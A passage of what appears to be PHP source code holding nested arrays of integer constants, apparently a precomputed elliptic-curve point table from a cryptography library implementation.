-4287744, -21346413, -8434326, 32087529, -1222777, 32247248, -14389861), ), array( array(14312628, 1221556, 17395390, -8700143, -4945741, -8684635, -28197744, -9637817, -16027623, -13378845), array(-1428825, -9678990, -9235681, 6549687, -7383069, -468664, 23046502, 9803137, 17597934, 2346211), array(18510800, 15337574, 26171504, 981392, -22241552, 7827556, -23491134, -11323352, 3059833, -11782870), ), array( array(10141598, 6082907, 17829293, -1947643, 9830092, 13613136, -25556636, -5544586, -33502212, 3592096), array(33114168, -15889352, -26525686, -13343397, 33076705, 8716171, 1151462, 1521897, -982665, -6837803), array(-32939165, -4255815, 23947181, -324178, -33072974, -12305637, -16637686, 3891704, 26353178, 693168), ), array( array(30374239, 1595580, -16884039, 13186931, 4600344, 406904, 9585294, -400668, 31375464, 14369965), array(-14370654, -7772529, 1510301, 6434173, -18784789, -6262728, 32732230, -13108839, 17901441, 16011505), array(18171223, -11934626, -12500402, 15197122, -11038147, -15230035, -19172240, -16046376, 8764035, 12309598), ), ), array( array( array(5975908, -5243188, -19459362, -9681747, -11541277, 14015782, -23665757, 1228319, 17544096, -10593782), array(5811932, -1715293, 3442887, -2269310, -18367348, -8359541, -18044043, -15410127, -5565381, 12348900), array(-31399660, 11407555, 25755363, 6891399, -3256938, 14872274, -24849353, 8141295, -10632534, -585479), ), array( array(-12675304, 694026, -5076145, 13300344, 14015258, -14451394, -9698672, -11329050, 30944593, 1130208), array(8247766, -6710942, -26562381, -7709309, -14401939, -14648910, 4652152, 2488540, 23550156, -271232), array(17294316, -3788438, 7026748, 15626851, 22990044, 113481, 2267737, -5908146, -408818, -137719), ), array( array(16091085, -16253926, 18599252, 7340678, 2137637, -1221657, -3364161, 14550936, 3260525, -7166271), array(-4910104, -13332887, 18550887, 10864893, -16459325, -7291596, -23028869, -13204905, -12748722, 2701326), array(-8574695, 16099415, 4629974, -16340524, -20786213, -6005432, -10018363, 9276971, 11329923, 1862132), ), array( array(14763076, -15903608, -30918270, 3689867, 3511892, 10313526, -21951088, 12219231, -9037963, -940300), array(8894987, -3446094, 6150753, 3013931, 301220, 15693451, -31981216, -2909717, -15438168, 11595570), array(15214962, 3537601, -26238722, -14058872, 4418657, -15230761, 13947276, 10730794, -13489462, -4363670), ), array( array(-2538306, 7682793, 32759013, 263109, -29984731, -7955452, -22332124, -10188635, 977108, 699994), array(-12466472, 4195084, -9211532, 550904, -15565337, 12917920, 19118110, -439841, -30534533, -14337913), array(31788461, -14507657, 4799989, 7372237, 8808585, -14747943, 9408237, -10051775, 12493932, -5409317), ), array( array(-25680606, 5260744, -19235809, -6284470, -3695942, 16566087, 27218280, 2607121, 29375955, 6024730), array(842132, -2794693, -4763381, -8722815, 26332018, -12405641, 11831880, 6985184, -9940361, 2854096), array(-4847262, -7969331, 2516242, -5847713, 9695691, -7221186, 16512645, 960770, 12121869, 16648078), ), array( array(-15218652, 14667096, -13336229, 2013717, 30598287, -464137, -31504922, -7882064, 20237806, 2838411), array(-19288047, 4453152, 15298546, -16178388, 22115043, -15972604, 12544294, -13470457, 1068881, -12499905), array(-9558883, -16518835, 33238498, 13506958, 30505848, -1114596, -8486907, -2630053, 12521378, 4845654), ), array( array(-28198521, 10744108, -2958380, 10199664, 7759311, -13088600, 3409348, -873400, -6482306, -12885870), array(-23561822, 6230156, -20382013, 10655314, -24040585, -11621172, 10477734, -1240216, -3113227, 13974498), array(12966261, 15550616, -32038948, -1615346, 21025980, -629444, 5642325, 7188737, 18895762, 12629579), ), ), array( array( array(14741879, -14946887, 22177208, -11721237, 1279741, 8058600, 11758140, 789443, 32195181, 3895677), array(10758205, 15755439, -4509950, 9243698, -4879422, 6879879, -2204575, -3566119, -8982069, 4429647), array(-2453894, 15725973, -20436342, -10410672, -5803908, -11040220, -7135870, -11642895, 18047436, -15281743), ), array( array(-25173001, -11307165, 29759956, 11776784, -22262383, -15820455, 10993114, -12850837, -17620701, -9408468), array(21987233, 700364, -24505048, 14972008, -7774265, -5718395, 32155026, 2581431, -29958985, 8773375), array(-25568350, 454463, -13211935, 16126715, 25240068, 8594567, 20656846, 12017935, -7874389, -13920155), ), array( array(6028182, 6263078, -31011806, -11301710, -818919, 2461772, -31841174, -5468042, -1721788, -2776725), array(-12278994, 16624277, 987579, -5922598, 32908203, 1248608, 7719845, -4166698, 28408820, 6816612), array(-10358094, -8237829, 19549651, -12169222, 22082623, 16147817, 20613181, 13982702, -10339570, 5067943), ), array( array(-30505967, -3821767, 12074681, 13582412, -19877972, 2443951, -19719286, 12746132, 5331210, -10105944), array(30528811, 3601899, -1957090, 4619785, -27361822, -15436388, 24180793, -12570394, 27679908, -1648928), array(9402404, -13957065, 32834043, 10838634, -26580150, -13237195, 26653274, -8685565, 22611444, -12715406), ), array( array(22190590, 1118029, 22736441, 15130463, -30460692, -5991321, 19189625, -4648942, 4854859, 6622139), array(-8310738, -2953450, -8262579, -3388049, -10401731, -271929, 13424426, -3567227, 26404409, 13001963), array(-31241838, -15415700, -2994250, 8939346, 11562230, -12840670, -26064365, -11621720, -15405155, 11020693), ), array( array(1866042, -7949489, -7898649, -10301010, 12483315, 13477547, 3175636, -12424163, 28761762, 1406734), array(-448555, -1777666, 13018551, 3194501, -9580420, -11161737, 24760585, -4347088, 25577411, -13378680), array(-24290378, 4759345, -690653, -1852816, 2066747, 10693769, -29595790, 9884936, -9368926, 4745410), ), array( array(-9141284, 6049714, -19531061, -4341411, -31260798, 9944276, -15462008, -11311852, 10931924, -11931931), array(-16561513, 14112680, -8012645, 4817318, -8040464, -11414606, -22853429, 10856641, -20470770, 13434654), array(22759489, -10073434, -16766264, -1871422, 13637442, -10168091, 1765144, -12654326, 28445307, -5364710), ), array( array(29875063, 12493613, 2795536, -3786330, 1710620, 15181182, -10195717, -8788675, 9074234, 1167180), array(-26205683, 11014233, -9842651, -2635485, -26908120, 7532294, -18716888, -9535498, 3843903, 9367684), array(-10969595, -6403711, 9591134, 9582310, 11349256, 108879, 16235123, 8601684, -139197, 4242895), ), ), array( array( array(22092954, -13191123, -2042793, -11968512, 32186753, -11517388, -6574341, 2470660, -27417366, 16625501), array(-11057722, 3042016, 13770083, -9257922, 584236, -544855, -7770857, 2602725, -27351616, 14247413), array(6314175, -10264892, -32772502, 15957557, -10157730, 168750, -8618807, 14290061, 27108877, -1180880), ), array( array(-8586597, -7170966, 13241782, 10960156, -32991015, -13794596, 33547976, -11058889, -27148451, 981874), array(22833440, 9293594, -32649448, -13618667, -9136966, 14756819, -22928859, -13970780, -10479804, -16197962), array(-7768587, 3326786, -28111797, 10783824, 19178761, 14905060, 22680049, 13906969, -15933690, 3797899), ), array( array(21721356, -4212746, -12206123, 9310182, -3882239, -13653110, 23740224, -2709232, 20491983, -8042152), array(9209270, -15135055, -13256557, -6167798, -731016, 15289673, 25947805, 15286587, 30997318, -6703063), array(7392032, 16618386, 23946583, -8039892, -13265164, -1533858, -14197445, -2321576, 17649998, -250080), ), array( array(-9301088, -14193827, 30609526, -3049543, -25175069, -1283752, -15241566, -9525724, -2233253, 7662146), array(-17558673, 1763594, -33114336, 15908610, -30040870, -12174295, 7335080, -8472199, -3174674, 3440183), array(-19889700, -5977008, -24111293, -9688870, 10799743, -16571957, 40450, -4431835, 4862400, 1133), ), array( array(-32856209, -7873957, -5422389, 14860950, -16319031, 7956142, 7258061, 311861, -30594991, -7379421), array(-3773428, -1565936, 28985340, 7499440, 24445838, 9325937, 29727763, 16527196, 18278453, 15405622), array(-4381906, 8508652, -19898366, -3674424, -5984453, 15149970, -13313598, 843523, -21875062, 13626197), ), array( array(2281448, -13487055, -10915418, -2609910, 1879358, 16164207, -10783882, 3953792, 13340839, 15928663), array(31727126, -7179855, -18437503, -8283652, 2875793, -16390330, -25269894, -7014826, -23452306, 5964753), array(4100420, -5959452, -17179337, 6017714, -18705837, 12227141, -26684835, 11344144, 2538215, -7570755), ), array( array(-9433605, 6123113, 11159803, -2156608, 30016280, 14966241, -20474983, 1485421, -629256, -15958862), array(-26804558, 4260919, 11851389, 9658551, -32017107, 16367492, -20205425, -13191288, 11659922, -11115118), array(26180396, 10015009, -30844224, -8581293, 5418197, 9480663, 2231568, -10170080, 33100372, -1306171), ), array( array(15121113, -5201871, -10389905, 15427821, -27509937, -15992507, 21670947, 4486675, -5931810, -14466380), array(16166486, -9483733, -11104130, 6023908, -31926798, -1364923, 2340060, -16254968, -10735770, -10039824), array(28042865, -3557089, -12126526, 12259706, -3717498, -6945899, 6766453, -8689599, 18036436, 5803270), ), ), array( array( array(-817581, 6763912, 11803561, 1585585, 10958447, -2671165, 23855391, 4598332, -6159431, -14117438), array(-31031306, -14256194, 17332029, -2383520, 31312682, -5967183, 696309, 50292, -20095739, 11763584), array(-594563, -2514283, -32234153, 12643980, 12650761, 14811489, 665117, -12613632, -19773211, -10713562), ), array( array(30464590, -11262872, -4127476, -12734478, 19835327, -7105613, -24396175, 2075773, -17020157, 992471), array(18357185, -6994433, 7766382, 16342475, -29324918, 411174, 14578841, 8080033, -11574335, -10601610), array(19598397, 10334610, 12555054, 2555664, 18821899, -10339780, 21873263, 16014234, 26224780, 16452269), ), array( array(-30223925, 5145196, 5944548, 16385966, 3976735, 2009897, -11377804, -7618186, -20533829, 3698650), array(14187449, 3448569, -10636236, -10810935, -22663880, -3433596, 7268410, -10890444, 27394301, 12015369), array(19695761, 16087646, 28032085, 12999827, 6817792, 11427614, 20244189, -1312777, -13259127, -3402461), ), array( array(30860103, 12735208, -1888245, -4699734, -16974906, 2256940, -8166013, 12298312, -8550524, -10393462), array(-5719826, -11245325, -1910649, 15569035, 26642876, -7587760, -5789354, -15118654, -4976164, 12651793), array(-2848395, 9953421, 11531313, -5282879, 26895123, -12697089, -13118820, -16517902, 9768698, -2533218), ), array( array(-24719459, 1894651, -287698, -4704085, 15348719, -8156530, 32767513, 12765450, 4940095, 10678226), array(18860224, 15980149, -18987240, -1562570, -26233012, -11071856, -7843882, 13944024, -24372348, 16582019), array(-15504260, 4970268, -29893044, 4175593, -20993212, -2199756, -11704054, 15444560, -11003761, 7989037), ), array( array(31490452, 5568061, -2412803, 2182383, -32336847, 4531686, -32078269, 6200206, -19686113, -14800171), array(-17308668, -15879940, -31522777, -2831, -32887382, 16375549, 8680158, -16371713, 28550068, -6857132), array(-28126887, -5688091, 16837845, -1820458, -6850681, 12700016, -30039981, 4364038, 1155602, 5988841), ), array( array(21890435, -13272907, -12624011, 12154349, -7831873, 15300496, 23148983, -4470481, 24618407, 8283181), array(-33136107, -10512751, 9975416, 6841041, -31559793, 16356536, 3070187, -7025928, 1466169, 10740210), array(-1509399, -15488185, -13503385, -10655916, 32799044, 909394, -13938903, -5779719, -32164649, -15327040), ), array( array(3960823, -14267803, -28026090, -15918051, -19404858, 13146868, 15567327, 951507, -3260321, -573935), array(24740841, 5052253, -30094131, 8961361, 25877428, 6165135, -24368180, 14397372, -7380369, -6144105), array(-28888365, 3510803, -28103278, -1158478, -11238128, -10631454, -15441463, -14453128, -1625486, -6494814), ), ), array( array( array(793299, -9230478, 8836302, -6235707, -27360908, -2369593, 33152843, -4885251, -9906200, -621852), array(5666233, 525582, 20782575, -8038419, -24538499, 14657740, 16099374, 1468826, -6171428, -15186581), array(-4859255, -3779343, -2917758, -6748019, 7778750, 11688288, -30404353, -9871238, -1558923, -9863646), ), array( array(10896332, -7719704, 824275, 472601, -19460308, 3009587, 25248958, 14783338, -30581476, -15757844), array(10566929, 12612572, -31944212, 11118703, -12633376, 12362879, 21752402, 8822496, 24003793, 14264025), array(27713862, -7355973, -11008240, 9227530, 27050101, 2504721, 23886875, -13117525, 13958495, -5732453), ), array( array(-23481610, 4867226, -27247128, 3900521, 29838369, -8212291, -31889399, -10041781, 7340521, -15410068), array(4646514, -8011124, -22766023, -11532654, 23184553, 8566613, 31366726, -1381061, -15066784, -10375192), array(-17270517, 12723032, -16993061, 14878794, 21619651, -6197576, 27584817, 3093888, -8843694, 3849921), ), array( array(-9064912, 2103172, 25561640, -15125738, -5239824, 9582958, 32477045, -9017955, 5002294, -15550259), array(-12057553, -11177906, 21115585, -13365155, 8808712, -12030708, 16489530, 13378448, -25845716, 12741426), array(-5946367, 10645103, -30911586, 15390284, -3286982, -7118677, 24306472, 15852464, 28834118, -7646072), ), array( array(-17335748, -9107057, -24531279, 9434953, -8472084, -583362, -13090771, 455841, 20461858, 5491305), array(13669248, -16095482, -12481974, -10203039, -14569770, -11893198, -24995986, 11293807, -28588204, -9421832), array(28497928, 6272777, -33022994, 14470570, 8906179, -1225630, 18504674, -14165166, 29867745, -8795943), ), array( array(-16207023, 13517196, -27799630, -13697798, 24009064, -6373891, -6367600, -13175392, 22853429, -4012011), array(24191378, 16712145, -13931797, 15217831, 14542237, 1646131, 18603514, -11037887, 12876623, -2112447), array(17902668, 4518229, -411702, -2829247, 26878217, 5258055, -12860753, 608397, 16031844, 3723494), ), array( array(-28632773, 12763728, -20446446, 7577504, 33001348, -13017745, 17558842, -7872890, 23896954, -4314245), array(-20005381, -12011952, 31520464, 605201, 2543521, 5991821, -2945064, 7229064, -9919646, -8826859), array(28816045, 298879, -28165016, -15920938, 19000928, -1665890, -12680833, -2949325, -18051778, -2082915), ), array( array(16000882, -344896, 3493092, -11447198, -29504595, -13159789, 12577740, 16041268, -19715240, 7847707), array(10151868, 10572098, 27312476, 7922682, 14825339, 4723128, -32855931, -6519018, -10020567, 3852848), array(-11430470, 15697596, -21121557, -4420647, 5386314, 15063598, 16514493, -15932110, 29330899, -15076224), ), ), array( array( array(-25499735, -4378794, -15222908, -6901211, 16615731, 2051784, 3303702, 15490, -27548796, 12314391), array(15683520, -6003043, 18109120, -9980648, 15337968, -5997823, -16717435, 15921866, 16103996, -3731215), array(-23169824, -10781249, 13588192, -1628807, -3798557, -1074929, -19273607, 5402699, -29815713, -9841101), ), array( array(23190676, 2384583, -32714340, 3462154, -29903655, -1529132, -11266856, 8911517, -25205859, 2739713), array(21374101, -3554250, -33524649, 9874411, 15377179, 11831242, -33529904, 6134907, 4931255, 11987849), array(-7732, -2978858, -16223486, 7277597, 105524, -322051, -31480539, 13861388, -30076310, 10117930), ), array( array(-29501170, -10744872, -26163768, 13051539, -25625564, 5089643, -6325503, 6704079, 12890019, 15728940), array(-21972360, -11771379, -951059, -4418840, 14704840, 2695116, 903376, -10428139, 12885167, 8311031), array(-17516482, 5352194, 10384213, -13811658, 7506451, 13453191, 26423267, 4384730, 1888765, -5435404), ), array( array(-25817338, -3107312, -13494599, -3182506, 30896459, -13921729, -32251644, -12707869, -19464434, -3340243), array(-23607977, -2665774, -526091, 4651136, 5765089, 4618330, 6092245, 14845197, 17151279, -9854116), array(-24830458, -12733720, -15165978, 10367250, -29530908, -265356, 22825805, -7087279, -16866484, 16176525), ), array( array(-23583256, 6564961, 20063689, 3798228, -4740178, 7359225, 2006182, -10363426, -28746253, -10197509), array(-10626600, -4486402, -13320562, -5125317, 3432136, -6393229, 23632037, -1940610, 32808310, 1099883), array(15030977, 5768825, -27451236, -2887299, -6427378, -15361371, -15277896, -6809350, 2051441, -15225865), ), array( array(-3362323, -7239372, 7517890, 9824992, 23555850, 295369, 5148398, -14154188, -22686354, 16633660), array(4577086, -16752288, 13249841, -15304328, 19958763, -14537274, 18559670, -10759549, 8402478, -9864273), array(-28406330, -1051581, -26790155, -907698, -17212414, -11030789, 9453451, -14980072, 17983010, 9967138), ), array( array(-25762494, 6524722, 26585488, 9969270, 24709298, 1220360, -1677990, 7806337, 17507396, 3651560), array(-10420457, -4118111, 14584639, 15971087, -15768321, 8861010, 26556809, -5574557, -18553322, -11357135), array(2839101, 14284142, 4029895, 3472686, 14402957, 12689363, -26642121, 8459447, -5605463, -7621941), ), array( array(-4839289, -3535444, 9744961, 2871048, 25113978, 3187018, -25110813, -849066, 17258084, -7977739), array(18164541, -10595176, -17154882, -1542417, 19237078, -9745295, 23357533, -15217008, 26908270, 12150756), array(-30264870, -7647865, 5112249, -7036672, -1499807, -6974257, 43168, -5537701, -32302074, 16215819), ), ), array( array( array(-6898905, 9824394, -12304779, -4401089, -31397141, -6276835, 32574489, 12532905, -7503072, -8675347), array(-27343522, -16515468, -27151524, -10722951, 946346, 16291093, 254968, 7168080, 21676107, -1943028), array(21260961, -8424752, -16831886, -11920822, -23677961, 3968121, -3651949, -6215466, -3556191, -7913075), ), array( array(16544754, 13250366, -16804428, 15546242, -4583003, 12757258, -2462308, -8680336, -18907032, -9662799), array(-2415239, -15577728, 18312303, 4964443, -15272530, -12653564, 26820651, 16690659, 25459437, -4564609), array(-25144690, 11425020, 28423002, -11020557, -6144921, -15826224, 9142795, -2391602, -6432418, -1644817), ), array( array(-23104652, 6253476, 16964147, -3768872, -25113972, -12296437, -27457225, -16344658, 6335692, 7249989), array(-30333227, 13979675, 7503222, -12368314, -11956721, -4621693, -30272269, 2682242, 25993170, -12478523), array(4364628, 5930691, 32304656, -10044554, -8054781, 15091131, 22857016, -10598955, 31820368, 15075278), ), array( array(31879134, -8918693, 17258761, 90626, -8041836, -4917709, 24162788, -9650886, -17970238, 12833045), array(19073683, 14851414, -24403169, -11860168, 7625278, 11091125, -19619190, 2074449, -9413939, 14905377), array(24483667, -11935567, -2518866, -11547418, -1553130, 15355506, -25282080, 9253129, 27628530, -7555480), ), array( array(17597607, 8340603, 19355617, 552187, 26198470, -3176583, 4593324, -9157582, -14110875, 15297016), array(510886, 14337390, -31785257, 16638632, 6328095, 2713355, -20217417, -11864220, 8683221, 2921426), array(18606791, 11874196, 27155355, -5281482, -24031742, 6265446, -25178240, -1278924, 4674690, 13890525), ), array( array(13609624, 13069022, -27372361, -13055908, 24360586, 9592974, 14977157, 9835105, 4389687, 288396), array(9922506, -519394, 13613107, 5883594, -18758345, -434263, -12304062, 8317628, 23388070, 16052080), array(12720016, 11937594, -31970060, -5028689, 26900120, 8561328, -20155687, -11632979, -14754271, -10812892), ), array( array(15961858, 14150409, 26716931, -665832, -22794328, 13603569, 11829573, 7467844, -28822128, 929275), array(11038231, -11582396, -27310482, -7316562, -10498527, -16307831, -23479533, -9371869, -21393143, 2465074), array(20017163, -4323226, 27915242, 1529148, 12396362, 15675764, 13817261, -9658066, 2463391, -4622140), ), array( array(-16358878, -12663911, -12065183, 4996454, -1256422, 1073572, 9583558, 12851107, 4003896, 12673717), array(-1731589, -15155870, -3262930, 16143082, 19294135, 13385325, 14741514, -9103726, 7903886, 2348101), array(24536016, -16515207, 12715592, -3862155, 1511293, 10047386, -3842346, -7129159, -28377538, 10048127), ), ), array( array( array(-12622226, -6204820, 30718825, 2591312, -10617028, 12192840, 18873298, -7297090, -32297756, 15221632), array(-26478122, -11103864, 11546244, -1852483, 9180880, 7656409, -21343950, 2095755, 29769758, 6593415), array(-31994208, -2907461, 4176912, 3264766, 12538965, -868111, 26312345, -6118678, 30958054, 8292160), ), array( array(31429822, -13959116, 29173532, 15632448, 12174511, -2760094, 32808831, 3977186, 26143136, -3148876), array(22648901, 1402143, -22799984, 13746059, 7936347, 365344, -8668633, -1674433, -3758243, -2304625), array(-15491917, 8012313, -2514730, -12702462, -23965846, -10254029, -1612713, -1535569, -16664475, 8194478), ), array( array(27338066, -7507420, -7414224, 10140405, -19026427, -6589889, 27277191, 8855376, 28572286, 3005164), array(26287124, 4821776, 25476601, -4145903, -3764513, -15788984, -18008582, 1182479, -26094821, -13079595), array(-7171154, 3178080, 23970071, 6201893, -17195577, -4489192, -21876275, -13982627, 32208683, -1198248), ), array( array(-16657702, 2817643, -10286362, 14811298, 6024667, 13349505, -27315504, -10497842, -27672585, -11539858), array(15941029, -9405932, -21367050, 8062055, 31876073, -238629, -15278393, -1444429, 15397331, -4130193), array(8934485, -13485467, -23286397, -13423241, -32446090, 14047986, 31170398, -1441021, -27505566, 15087184), ), array( array(-18357243, -2156491, 24524913, -16677868, 15520427, -6360776, -15502406, 11461896, 16788528, -5868942), array(-1947386, 16013773, 21750665, 3714552, -17401782, -16055433, -3770287, -10323320, 31322514, -11615635), array(21426655, -5650218, -13648287, -5347537, -28812189, -4920970, -18275391, -14621414, 13040862, -12112948), ), array( array(11293895, 12478086, -27136401, 15083750, -29307421, 14748872, 14555558, -13417103, 1613711, 4896935), array(-25894883, 15323294, -8489791, -8057900, 25967126, -13425460, 2825960, -4897045, -23971776, -11267415), array(-15924766, -5229880, -17443532, 6410664, 3622847, 10243618, 20615400, 12405433, -23753030, -8436416), ), array( array(-7091295, 12556208, -20191352, 9025187, -17072479, 4333801, 4378436, 2432030, 23097949, -566018), array(4565804, -16025654, 20084412, -7842817, 1724999, 189254, 24767264, 10103221, -18512313, 2424778), array(366633, -11976806, 8173090, -6890119, 30788634, 5745705, -7168678, 1344109, -3642553, 12412659), ), array( array(-24001791, 7690286, 14929416, -168257, -32210835, -13412986, 24162697, -15326504, -3141501, 11179385), array(18289522, -14724954, 8056945, 16430056, -21729724, 7842514, -6001441, -1486897, -18684645, -11443503), array(476239, 6601091, -6152790, -9723375, 17503545, -4863900, 27672959, 13403813, 11052904, 5219329), ), ), array( array( array(20678546, -8375738, -32671898, 8849123, -5009758, 14574752, 31186971, -3973730, 9014762, -8579056), array(-13644050, -10350239, -15962508, 5075808, -1514661, -11534600, -33102500, 9160280, 8473550, -3256838), array(24900749, 14435722, 17209120, -15292541, -22592275, 9878983, -7689309, -16335821, -24568481, 11788948), ), array( array(-3118155, -11395194, -13802089, 14797441, 9652448, -6845904, -20037437, 10410733, -24568470, -1458691), array(-15659161, 16736706, -22467150, 10215878, -9097177, 7563911, 11871841, -12505194, -18513325, 8464118), array(-23400612, 8348507, -14585951, -861714, -3950205, -6373419, 14325289, 8628612, 33313881, -8370517), ), array( array(-20186973, -4967935, 22367356, 5271547, -1097117, -4788838, -24805667, -10236854, -8940735, -5818269), array(-6948785, -1795212, -32625683, -16021179, 32635414, -7374245, 15989197, -12838188, 28358192, -4253904), array(-23561781, -2799059, -32351682, -1661963, -9147719, 10429267, -16637684, 4072016, -5351664, 5596589), ), array( array(-28236598, -3390048, 12312896, 6213178, 3117142, 16078565, 29266239, 2557221, 1768301, 15373193), array(-7243358, -3246960, -4593467, -7553353, -127927, -912245, -1090902, -4504991, -24660491, 3442910), array(-30210571, 5124043, 14181784, 8197961, 18964734, -11939093, 22597931, 7176455, -18585478, 13365930), ), array( array(-7877390, -1499958, 8324673, 4690079, 6261860, 890446, 24538107, -8570186, -9689599, -3031667), array(25008904, -10771599, -4305031, -9638010, 16265036, 15721635, 683793, -11823784, 15723479, -15163481), array(-9660625, 12374379, -27006999, -7026148, -7724114, -12314514, 11879682, 5400171, 519526, -1235876), ), array( array(22258397, -16332233, -7869817, 14613016, -22520255, -2950923, -20353881, 7315967, 16648397, 7605640), array(-8081308, -8464597, -8223311, 9719710, 19259459, -15348212, 23994942, -5281555, -9468848, 4763278), array(-21699244, 9220969, -15730624, 1084137, -25476107, -2852390, 31088447, -7764523, -11356529, 728112), ), array( array(26047220, -11751471, -6900323, -16521798, 24092068, 9158119, -4273545, -12555558, -29365436, -5498272), array(17510331, -322857, 5854289, 8403524, 17133918, -3112612, -28111007, 12327945, 10750447, 10014012), array(-10312768, 3936952, 9156313, -8897683, 16498692, -994647, -27481051, -666732, 3424691, 7540221), ), array( array(30322361, -6964110, 11361005, -4143317, 7433304, 4989748, -7071422, -16317219, -9244265, 15258046), array(13054562, -2779497, 19155474, 469045, -12482797, 4566042, 5631406, 2711395, 1062915, -5136345), array(-19240248, -11254599, -29509029, -7499965, -5835763, 13005411, -6066489, 12194497, 32960380, 1459310), ), ), array( array( array(19852034, 7027924, 23669353, 10020366, 8586503, -6657907, 394197, -6101885, 18638003, -11174937), array(31395534, 15098109, 26581030, 8030562, -16527914, -5007134, 9012486, -7584354, -6643087, -5442636), array(-9192165, -2347377, -1997099, 4529534, 25766844, 607986, -13222, 9677543, -32294889, -6456008), ), array( array(-2444496, -149937, 29348902, 8186665, 1873760, 12489863, -30934579, -7839692, -7852844, -8138429), array(-15236356, -15433509, 7766470, 746860, 26346930, -10221762, -27333451, 10754588, -9431476, 5203576), array(31834314, 14135496, -770007, 5159118, 20917671, -16768096, -7467973, -7337524, 31809243, 7347066), ), array( array(-9606723, -11874240, 20414459, 13033986, 13716524, -11691881, 19797970, -12211255, 15192876, -2087490), array(-12663563, -2181719, 1168162, -3804809, 26747877, -14138091, 10609330, 12694420, 33473243, -13382104), array(33184999, 11180355, 15832085, -11385430, -1633671, 225884, 15089336, -11023903, -6135662, 14480053), ), array( array(31308717, -5619998, 31030840, -1897099, 15674547, -6582883, 5496208, 13685227, 27595050, 8737275), array(-20318852, -15150239, 10933843, -16178022, 8335352, -7546022, -31008351, -12610604, 26498114, 66511), array(22644454, -8761729, -16671776, 4884562, -3105614, -13559366, 30540766, -4286747, -13327787, -7515095), ), array( array(-28017847, 9834845, 18617207, -2681312, -3401956, -13307506, 8205540, 13585437, -17127465, 15115439), array(23711543, -672915, 31206561, -8362711, 6164647, -9709987, -33535882, -1426096, 8236921, 16492939), array(-23910559, -13515526, -26299483, -4503841, 25005590, -7687270, 19574902, 10071562, 6708380, -6222424), ), array( array(2101391, -4930054, 19702731, 2367575, -15427167, 1047675, 5301017, 9328700, 29955601, -11678310), array(3096359, 9271816, -21620864, -15521844, -14847996, -7592937, -25892142, -12635595, -9917575, 6216608), array(-32615849, 338663, -25195611, 2510422, -29213566, -13820213, 24822830, -6146567, -26767480, 7525079), ), array( array(-23066649, -13985623, 16133487, -7896178, -3389565, 778788, -910336, -2782495, -19386633, 11994101), array(21691500, -13624626, -641331, -14367021, 3285881, -3483596, -25064666, 9718258, -7477437, 13381418), array(18445390, -4202236, 14979846, 11622458, -1727110, -3582980, 23111648, -6375247, 28535282, 15779576), ), array( array(30098053, 3089662, -9234387, 16662135, -21306940, 11308411, -14068454, 12021730, 9955285, -16303356), array(9734894, -14576830, -7473633, -9138735, 2060392, 11313496, -18426029, 9924399, 20194861, 13380996), array(-26378102, -7965207, -22167821, 15789297, -18055342, -6168792, -1984914, 15707771, 26342023, 10146099), ), ), array( array( array(-26016874, -219943, 21339191, -41388, 19745256, -2878700, -29637280, 2227040, 21612326, -545728), array(-13077387, 1184228, 23562814, -5970442, -20351244, -6348714, 25764461, 12243797, -20856566, 11649658), array(-10031494, 11262626, 27384172, 2271902, 26947504, -15997771, 39944, 6114064, 33514190, 2333242), ), array( array(-21433588, -12421821, 8119782, 7219913, -21830522, -9016134, -6679750, -12670638, 24350578, -13450001), array(-4116307, -11271533, -23886186, 4843615, -30088339, 690623, -31536088, -10406836, 8317860, 12352766), array(18200138, -14475911, -33087759, -2696619, -23702521, -9102511, -23552096, -2287550, 20712163, 6719373), ), array( array(26656208, 6075253, -7858556, 1886072, -28344043, 4262326, 11117530, -3763210, 26224235, -3297458), array(-17168938, -14854097, -3395676, -16369877, -19954045, 14050420, 21728352, 9493610, 18620611, -16428628), array(-13323321, 13325349, 11432106, 5964811, 18609221, 6062965, -5269471, -9725556, -30701573, -16479657), ), array( array(-23860538, -11233159, 26961357, 1640861, -32413112, -16737940, 12248509, -5240639, 13735342, 1934062), array(25089769, 6742589, 17081145, -13406266, 21909293, -16067981, -15136294, -3765346, -21277997, 5473616), array(31883677, -7961101, 1083432, -11572403, 22828471, 13290673, -7125085, 12469656, 29111212, -5451014), ), array( array(24244947, -15050407, -26262976, 2791540, -14997599, 16666678, 24367466, 6388839, -10295587, 452383), array(-25640782, -3417841, 5217916, 16224624, 19987036, -4082269, -24236251, -5915248, 15766062, 8407814), array(-20406999, 13990231, 15495425, 16395525, 5377168, 15166495, -8917023, -4388953, -8067909, 2276718), ), array( array(30157918, 12924066, -17712050, 9245753, 19895028, 3368142, -23827587, 5096219, 22740376, -7303417), array(2041139, -14256350, 7783687, 13876377, -25946985, -13352459, 24051124, 13742383, -15637599, 13295222), array(33338237, -8505733, 12532113, 7977527, 9106186, -1715251, -17720195, -4612972, -4451357, -14669444), ), array( array(-20045281, 5454097, -14346548, 6447146, 28862071, 1883651, -2469266, -4141880, 7770569, 9620597), array(23208068, 7979712, 33071466, 8149229, 1758231, -10834995, 30945528, -1694323, -33502340, -14767970), array(1439958, -16270480, -1079989, -793782, 4625402, 10647766, -5043801, 1220118, 30494170, -11440799), ), array( array(-5037580, -13028295, -2970559, -3061767, 15640974, -6701666, -26739026, 926050, -1684339, -13333647), array(13908495, -3549272, 30919928, -6273825, -21521863, 7989039, 9021034, 9078865, 3353509, 4033511), array(-29663431, -15113610, 32259991, -344482, 24295849, -12912123, 23161163, 8839127, 27485041, 7356032), ), ), array( array( array(9661027, 705443, 11980065, -5370154, -1628543, 14661173, -6346142, 2625015, 28431036, -16771834), array(-23839233, -8311415, -25945511, 7480958, -17681669, -8354183, -22545972, 14150565, 15970762, 4099461), array(29262576, 16756590, 26350592, -8793563, 8529671, -11208050, 13617293, -9937143, 11465739, 8317062), ), array( array(-25493081, -6962928, 32500200, -9419051, -23038724, -2302222, 14898637, 3848455, 20969334, -5157516), array(-20384450, -14347713, -18336405, 13884722, -33039454, 2842114, -21610826, -3649888, 11177095, 14989547), array(-24496721, -11716016, 16959896, 2278463, 12066309, 10137771, 13515641, 2581286, -28487508, 9930240), ), array( array(-17751622, -2097826, 16544300, -13009300, -15914807, -14949081, 18345767, -13403753, 16291481, -5314038), array(-33229194, 2553288, 32678213, 9875984, 8534129, 6889387, -9676774, 6957617, 4368891, 9788741), array(16660756, 7281060, -10830758, 12911820, 20108584, -8101676, -21722536, -8613148, 16250552, -11111103), ), array( array(-19765507, 2390526, -16551031, 14161980, 1905286, 6414907, 4689584, 10604807, -30190403, 4782747), array(-1354539, 14736941, -7367442, -13292886, 7710542, -14155590, -9981571, 4383045, 22546403, 437323), array(31665577, -12180464, -16186830, 1491339, -18368625, 3294682, 27343084, 